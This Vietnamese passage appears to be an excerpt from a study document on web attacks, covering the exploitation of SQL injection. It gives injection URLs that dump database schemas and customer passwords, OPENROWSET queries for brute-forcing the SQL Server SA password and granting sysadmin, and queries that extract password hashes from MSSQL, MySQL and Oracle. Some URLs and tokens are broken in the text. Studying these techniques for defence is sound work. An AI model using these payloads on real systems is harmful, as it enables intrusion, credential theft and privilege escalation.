Khai thác SQL Injection:

Một phần của tài liệu Nghiên cứu một số phương pháp tấn công web (Trang 34 - 39)

CHƯƠNG IV: TẤN CÔNG DATASTORE

4.3Khai thác SQL Injection:

Dựa vào các phương thức tấn công trên, attacker có thể kết hợp để khai thác SQl inject phục vụ cho mục đích của mình

4.3.1 Thu thập thông tin

Trong phần 2 đã liệt kê nhiều kỹ thuật dùng để lấy được tên database, tên column, table cũng như giá trị của column. Khi kết hợp các kỹ ấy lại, kèm với thời gian, Attacker có thể liệt kê cấu trúc của một database dễ dàng.

Trong SQL server, sử dụng truy vấn:

http://www.victim.com/products.asp?

Kết quả sẽ trả về như hình sau:

Hình 4.1: Liệt kê các database

Truy vấn đó đã trả lại danh sách database trên server thông qua sysdatabase (lưu trữ tên các database bao gồm cả database đang được truy vấn). Khi đã biết được tên database, attacker dễ dàng liệt kê tên của các table thuộc database đó thông qua truy vấn:

http://www.victim.com/products.aspid=12+union+select+null,name,null,null+from+ e–shop..sysobjects+where+xtype%3D'U'--

Kết quả trả về như hình sau:

Hình 4.2: Liệt kê các column

Sau đó attacker có thể khai thác được tên column và giá trị column lần lượt theo các truy vấn :

SELECT name FROM e–shop..syscolumns WHERE id = (SELECT id FROM e– shop..sysobjects WHERE name = 'customers')

http://www.victim.com/products.aspid=12+union+select+null,login,password,null+fro m+e–shop..customers--

Các giá trị trả về như sau:

Hình 4.4: Liệt kê column

Hình 4.5: Liệt kê giá trị từng column

4.3.2 Nâng đặc quyền user

Các DBMS hiện nay đều cung cấp chức năng xác thực và phân quyền để điều khiển hoạt động của các user. Ngươi quản trị có thể quản lý và điều khiền vùng truy cập của user như cho phép hay cấm user trên một database nào đấy. Trong trường hợp attacker

tấn công và khai thác đặc quyền của một user nhưng user ấy chỉ có thể hoạt động trên database hiện tại và không có quyền truy xuất đến database khác thì việc nâng đặc quyền là bước tiếp theo mà attacker thực hiện để tấn công server

Đối với SQL server, câu lệnh OPENROWSET là câu lệnh được sử dụng nhiều nhất của attacker khi tấn công một hệt thống MS SQL. Theo đó, OPENROWSET sẽ thực hiện kết nối đến một SQL server khác và sử dụng database từ server thứ 2 phục vụ cho các mục đích tấn công.

Ví dụ một truy vấn sử dụng OPENROW: SELECT * FROM

OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=10.0.2.2; uid=foo; pwd=password', 'SELECT column1 FROM tableA')

Truy vấn này kết nối đến 1 SQL server khác tại địa chỉ 10.0.2.2 với user foo và thực hiện truy vấn "select column1 from tableA", kết quả của truy vấn này sẽ trả về Server mà attacker đang tấn công SQL inject. Cần phải lưu ý răng user 'foo' là một user tại database 10.0.2.2 và không tồn tại tại server bị SQL injection. OPENROWSET có thể được sử dụng brute-force password cho SA account. Tuy nhiên cần lưu ý 3 điểm sau:

- Đối với kết nối thành công, OPENROWSET phải được cung cấp truy vấn hợp lệ trên database để thực thi.

- OPENROWSET không chỉ được dùng để kết nối đến 1 database ngoài mà còn có thể kết nối vào 1 database thuộc local, lúc này quyền thực thi sẽ trùng với quyền user đang gọi OPENROWSET

- Đối với SQL server 2000, OPENROWSET có thể được gọi bởi tất cả user, tuy nhiên đối với SQL server 2005 thì điều đó là không thể

Điều đó có nghĩa là đối với SQL Server 2000, attaker có thể sử dụng OPENROWSET để brute-fore password và nâng quyền. Xem xét một truy vấn sau:

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=;uid=sa;pwd=foo', 'select 1')

Nếu foo là password đúng thì truy vấn sẽ trả về giá trị 1, ngược lại sẽ trả về thông báo Login failed for user 'sa'. Như vậy attacker đã có 1 cách thức để brute-fore password của SA. Nếu tìm được đúng password, attacker có thể dễ sàng nâng đặc quyền bằng

cách thêm user vào nhóm sysadmin group bằng cách sử dụng hàm sp_addsrvrolemember như sau:

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=;uid=sa;pwd=passw0rd', 'SELECT 1;

EXEC master.dbo.sp_addsrvrolemember ''appdbuser'',''sysadmin''')

"SELECT 1 tại truy vấn trên là một điều cần thiết, bởi vì OPENROWSET chỉ trả về giá trị của column cuối cùng.

4.3.3 Lấy trộm mã Hashes password

Trong tất cả các DBMS thông dụng hiện nay đều lưu trữ password của user dưới dạng mã hash.Attacker có thể dùng các công cụ để suy ra password ban đầu từ mã hash này, do đó mã hash trở thành một trong những mục tiêu mà attacker luôn nhắm tới.

Đối với MS SQL các kịch bản tấn công phụ thuộc nhiều vào phiên bản của nó, nhưng trong mọi trường hợp attacker cần phải có đặc quyền administrative mới có thể truy cập đến các mã hash. Đối với SQL server 2000, mã hash được lưu trữ tại bảng sysxlogins của database master và có thể truy cập dễ dàng bằng truy vân:

SELECT name,password FROM master.dbo.sysxlogins

Khi phát triển SQL server 2005, Microsoft đã đã có một số thay đổi, lúc này mã hash trong sysxlogins đã biến mất, thay vào đó là sql_logins bằng truy xuất:

SELECT password_hash FROM sys.sql_logins

Đối với MySQL, mã hash được lưu tại mysql.user table, và truy xuất bằng SELECT user,password FROM mysql.user;

Mã hash trong MySQL được sinh ra từ hàm PASSWORD() với 16 ký tự như ví dụ sau mysql> select PASSWORD('password')

+---+ | password('password') | +---+ | 5d2e19393cc5ef67 |

+---+ 1 row in set (0.00 sec)

Tuy nhiên qua phiên bản MySQL 4.1, hàm PASSWORD đã được thay đổi và đã bao gồm 41 ký tự

Oracle lưu trữ mã hash trong column password của bảng sys.user

Truy vấn DES passwords bằng : Select username,password from sys.user$ where type#>0 and length(password)=16

Và DES role passwords: Select username,password from sys.user$ where type#=1 and length(password)=16

với

type#=1 là database user, type#=0 là role database

Hình 4.5: Mã hash trong Oracle

Một phần của tài liệu Nghiên cứu một số phương pháp tấn công web (Trang 34 - 39)